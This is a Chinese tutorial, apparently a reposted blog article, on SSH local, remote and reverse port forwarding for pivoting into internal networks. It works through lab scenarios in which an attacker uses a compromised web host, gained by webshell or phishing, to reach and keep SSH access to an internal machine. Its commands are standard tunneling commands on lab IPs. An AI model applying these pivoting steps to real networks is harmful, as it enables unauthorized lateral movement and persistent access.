内网隧道代理技术(三)之使用SSH端口转发

news2024/11/17 10:02:42

使用SSH端口转发

SSH介绍

SSH通过网络远程访问主机提供保护,可以对客户端和服务端之间的数据传输进行压缩和加密,有身份验证、SCP、SFTP、和端口转发的功能

SSH转发常用的参数介绍:

参数作用
-C请求压缩所有数据
-D动态转发、即socks代理
-f后台执行SSH指令
-g允许远程主机连接主机的转发端口
-L本地转发
-N不执行远程指令,处于等待状态
-R远程转发

一、本地转发(正向访问A)

实验场景

现在有如下的网络,电脑A是攻击机器,可以直接访问电脑B,但是访问不了机器C,可以借助B机器上的SSH命令进行端口转发访问机器C

1、以下是实验环境拓扑图:

在这里插入图片描述

实验环境

实验机器的信息如下:

机器名字机器IP机器类型
攻击机器A192.168.0.112win11
官网机器B192.168.198.130/192.168.164.130kali
内网机器C192.168.164.129win10

网络情况如下:

A可以访问B
B可以访问C
A不能访问C

实验步骤

1、使用webshell或者其他其他的方式连接到B机器

在这里插入图片描述

2、使用SSH转发的命令进行转发

ssh -CfNg -L 本地端口:主机B_IP:主机B_端口 跳板主机A_IP
例如: ssh -CfNg -L 3333:192.168.164.129:3389 192.168.198.130,然后输入kali的密码即可

在这里插入图片描述

3、使用攻击机器A访问192.168.198.130官网机器B的3333端口就可以访问内网机器C的3389端口

在这里插入图片描述

4、然后输入账户密码和凭据,我们就成功使用攻击机器A远程登陆了内网机器C

在这里插入图片描述

二、SSH做反向隧道(远程端口转发)

实验场景

现在我们有这么一个环境,我们拿到了官网机器B的权限,并通过官网机器B进一步内网渗透,拿到了内网机器C的权限。但是现在我们想要在自己的攻击机器A上,获取内网机器C的一个稳定持久的SSH权限。那么,我们可以通过SSH反向隧道,来得到内网机器C的一个SSH权限。我们可以将内网机器C的22端口远程转发到官网机器B的1234端口

通俗地说,就是在内网机器C上做到官网机器B的反向代理;然后在官网机器B上做正向代理实现远程端口的转发

实验环境

实验机器的信息如下:

注意:这里官网机器B和内网机器C都必须是Linux系统,才能建立SSH隧道

机器名字机器IP机器类型
攻击机器A192.168.0.112win11
官网机器B192.168.198.130/192.168.164.131kali
内网机器C192.168.164.130kali

在这里插入图片描述

实验步骤

1、首先,我们通过一些手段控制并连接了内网机器C

在这里插入图片描述

2、接着在内网机器C上操作如下的命令输入kali机器的密码

#反向代理,意思就是将机器C的22号端口的流量都转发给B机器的8888端口
ssh -fCNR 192.168.164.131:8888:localhost:22 root@192.168.164.131

在这里插入图片描述

3、在官网机器B上执行如下的转发命令,然后输入kali机器的密码

#正向代理 ,意思就是将本地监听的1234端口的流量都转发给本地的8888端口
ssh -fCNL  *:1234:localhost:8888 localhost

在这里插入图片描述

4、接着,在攻击机器A的操作,通过ssh官网机器B的1234端口实现ssh登录内网机器C的22号端口

ssh -p 1234 root@192.168.198.130

在这里插入图片描述

所以最终流量的走向是这样的:黑客SSH到官网机器B的1234端口,官网机器B监听了本地的1234端口,将流量转发到本地的8888端口,于是内网机器C将本地的22号端口反向代理到了官网机器B的8888端口,官网机器B又将8888端口的流量转发到了本地的1234端口,所以黑客SSH连接到了内网机器C。

三、远程转发(反向访问A)

实验场景

攻击机者已经拿下了官网机器B 但是因为是内网机器所以无法直接访问,同时无法访问内网机器C,但是因为官网机器B有ssh,所以我们使用远程转发

以下是实验环境拓扑图:

在这里插入图片描述

实验环境

实验机器的信息如下:

机器名字机器IP机器类型
攻击机器A192.168.0.115kali
官网机器B192.168.198.130/192.168.164.131kali
内网机器C192.168.164.130kali

网络情况如下:

B可以访问A
B可以访问C
A访问不了B

实验步骤

1、通过反向连接(钓鱼)的方式连入公司的网络,获得了官网机器B的权限

在这里插入图片描述

2、在官网机器B上执行如下的转发命令

ssh -CfNg -R 攻击者端口:目标主机IP:目标主机端口 -fN 攻击者_IP
例如: ssh -CfNg -R 3333:192.168.164.130:22 192.168.0.115 然后输入kali的密码即可

在这里插入图片描述

3、然后在攻击机器A上访问本地的3333端口就可以了,然后输入kali的密码就可以了

ssh root@127.0.0.1 -p 3333

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/636973.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

np.meshgrid()与网络表格

目录 数组是如何绘制表格的?分别绘制X和Y图像绘制等高线 数组是如何绘制表格的? 我们先将两个数组传入np.meshgrid(),查看该函数是如何绘制网格的。 import numpy as npx np.linspace(-2, 2, 5) y np.linspace(-2, 2, 5)X, Y np.meshgri…

【无标题】储能电池IEC62619认证 IEC62619测试什么内容

储能电池IEC62619认证 IEC62619测试什么内容 作为专业的民营三方检测、认证服务型的,同时已获得CNAS、CMA、NVLAP、MICOM、A2AL、CPSC、IC、EMSD、NATA、SABS、KOSTEC、 lNSPECCO、E-mark、TUV、CETECOM、EUROFINS、PHOENIX、HOENIX、KTC、ITS、SAA、UL等20多个国内…

在webpack中配置bable

一、什么是bable Babel是一个JavaScript**编译工具**,主要用于在旧浏览器或过时的JavaScript语言版本中转换新的或标准的JavaScript语法和功能。它的主要作用是解决跨浏览器的兼容性问题,让我们能够使用最新的JavaScript特性,而不必担心它们…

一个轻量级Web蜜罐(附下载地址)

Loki 0x01 Why 目标: 抓漏洞. 大概是没有找到啥子开源的符合我预期的蜜罐吧,所以自己动手写了。 0x02 What 想做什么样的蜜罐? 1.便于维护,随开随用,配置简单。 2.Web低仿真即可,且只抓Web流量。 3.不同端口指向不同的页面,响应头配置等。 0x03 How SpringB…

Matlab论文插图绘制模板第102期—分组填充箱线图

在之前的文章中,分享了Matlab箱线图的绘制模板: 填充箱线图的绘制模板: 分组箱线图的绘制模板: 进一步,再来分享一下分组填充箱线图的绘制模板。 先来看一下成品效果: 特别提示:本期内容『数据…

DTMultiWindow UE UMG 多窗口插件说明

本插件可以把UMG窗口做为一个系统窗口独立显示。 目录 操作步骤: DT User Widget 说明: 全局蓝图节点说明 : 操作步骤: 1. 创建一个新的UMG,类型选择 DT User Widget 2. 使用传统方式,搭建这个UMG控件。…

深度学习应用篇-自然语言处理[10]:N-Gram、SimCSE介绍,更多技术:数据增强、智能标注、多分类算法、文本信息抽取、多模态信息抽取、模型压缩算法等

【深度学习入门到进阶】必看系列,含激活函数、优化策略、损失函数、模型调优、归一化算法、卷积模型、序列模型、预训练模型、对抗神经网络等 专栏详细介绍:【深度学习入门到进阶】必看系列,含激活函数、优化策略、损失函数、模型调优、归一化…

redis中的 adlist链表实现

adlist源码解读(基于redis 6.2.7) 1丶打开源码 adlist.h typedef struct listNode {struct listNode *prev;struct listNode *next;void *value; } listNode;//迭代时 使用 typedef struct listIter {listNode *next;int direction; 迭代方向 } listIter;typedef struct lis…

Submit的使用,程序中调用其他报表

Submit的使用 项目需求:编写一个程序能够将实时的物料库存数据通过发送邮件的形式发送到对应的邮件。现有标准的事务码MB5B来查看对应的库存数据。可以在程序中使用submit将参数传递到MB5B中,然后将获取的数据返回到程序中,然后在执行发送邮件…

【Git通关之旅】从山脚到山顶(傲视群雄版)

Git分布式版本控制工具 版本控制器的方式 集中式版本控制工具 集中式版本控制工具,版本库是集中存放在中央服务器的,team里每个人work时从中央服务器下载代 码,是必须联网才能工作,局域网或互联网。个人修改后然后提交到中央版本库…

【蓝桥杯】求既约分数—>(全解)最大公约数与最小公倍数

前言: 通过对【蓝桥杯】2020初赛的一道求既约分数的题目的讲解,引出关于求“最大公约数与最小公倍数”的方法汇总。 对于“最大公约数与最小公倍数”来说,求解都有一些固定的方法,而这些方法一般都是固定的,只需要掌握…

亚马逊、Allegro卖家建立属于自己的测评系统,实现批量优质账号养成

卖家搭建一套完整的测评系统,卖家自己能够养出批量优质账号,并完全掌控真实买家的浏览、加购、下单和评价等风控数据规律。我们的系统能够自主加速推广,防御反击,同时节省运营成本,实现高效的测评运营。 我们的系统支…

传统印刷企业需要部署数字工厂管理系统吗

随着数字化技术的快速发展,传统印刷企业面临着巨大的市场竞争压力。为了提高生产效率,降低生产成本,越来越多的企业开始考虑部署印刷数字工厂管理系统。但是,对于许多企业来说,是否部署印刷数字工厂仍然是一个需要权衡…

【国产复旦微FMQL45教程】-小试牛刀之LED

本教程采用 FMQL7045 FPGA开发板来完成整个试验,板卡照片如下: 具有丰富的接口资源,系统框图如下: 本教程用于完成基于Vivado的FMQL45的LED实验,目标是能够将这款开发板PL端先跑起来。 对于纯 PL 设计,我们…

002、体系结构之TiDB Server

TiDB Server 1、TiDB总览1.1、TiDB Server架构1.2、TiDB Server 主要功能: 2、SQL语句处理语句的解析和编译SQL层协议层上下文解析层逻辑优化器物理优化器本地执行器分布式执行器 3、如何将表的数据转成kv形式4、在线DDL相关模块5、GC机制与相关模块6、TiDB Server …

pyecharts案例三——河南省疫情地图绘制

代码实现 代码的业务流程基本和全国疫情地图相同,注意城市名结尾必须有“市”才能识别 import json from pyecharts.charts import Map from pyecharts.options import *f open("./疫情.txt", "r", encoding"UTF-8") data f.read…

暴力破解测试-业务安全测试实操(1)

业务安全测试实践模版理论指导_luozhonghua2000的博客-CSDN博客 测试原理和方法 暴力破解测试是指针对应用系统用户登录账号与密码进行的穷举测试,针对账号或密码进行逐一比较,直到找出正确的账号与密码。 般分为以下三种情况: 在已知账号的情况下,加载密码字典针对密码进行…

从美颜算法到AI美颜SDK:美丽的背后隐藏着什么?

在年轻人的生活中,通过美颜SDK类型的美颜工具进行拍摄已经成为了一种全新的文化现象。时下,AI美颜、美颜SDK讨论热点极高,那么大家知道美颜算法和AI美颜到底有什么不同吗?它们背后隐藏着什么样的技术和思想? 一、美颜算…

java的StringBuilder、Stringjoiner

一、StringBuilder StringBuilder可以看成是一个容器,创建之后里面的内容是可变的。作用是提高字符串的操作效率。 注意:使用String创建字符串对象时,是不能改变字符串的内容的,例如: String s1 "aaa"; St…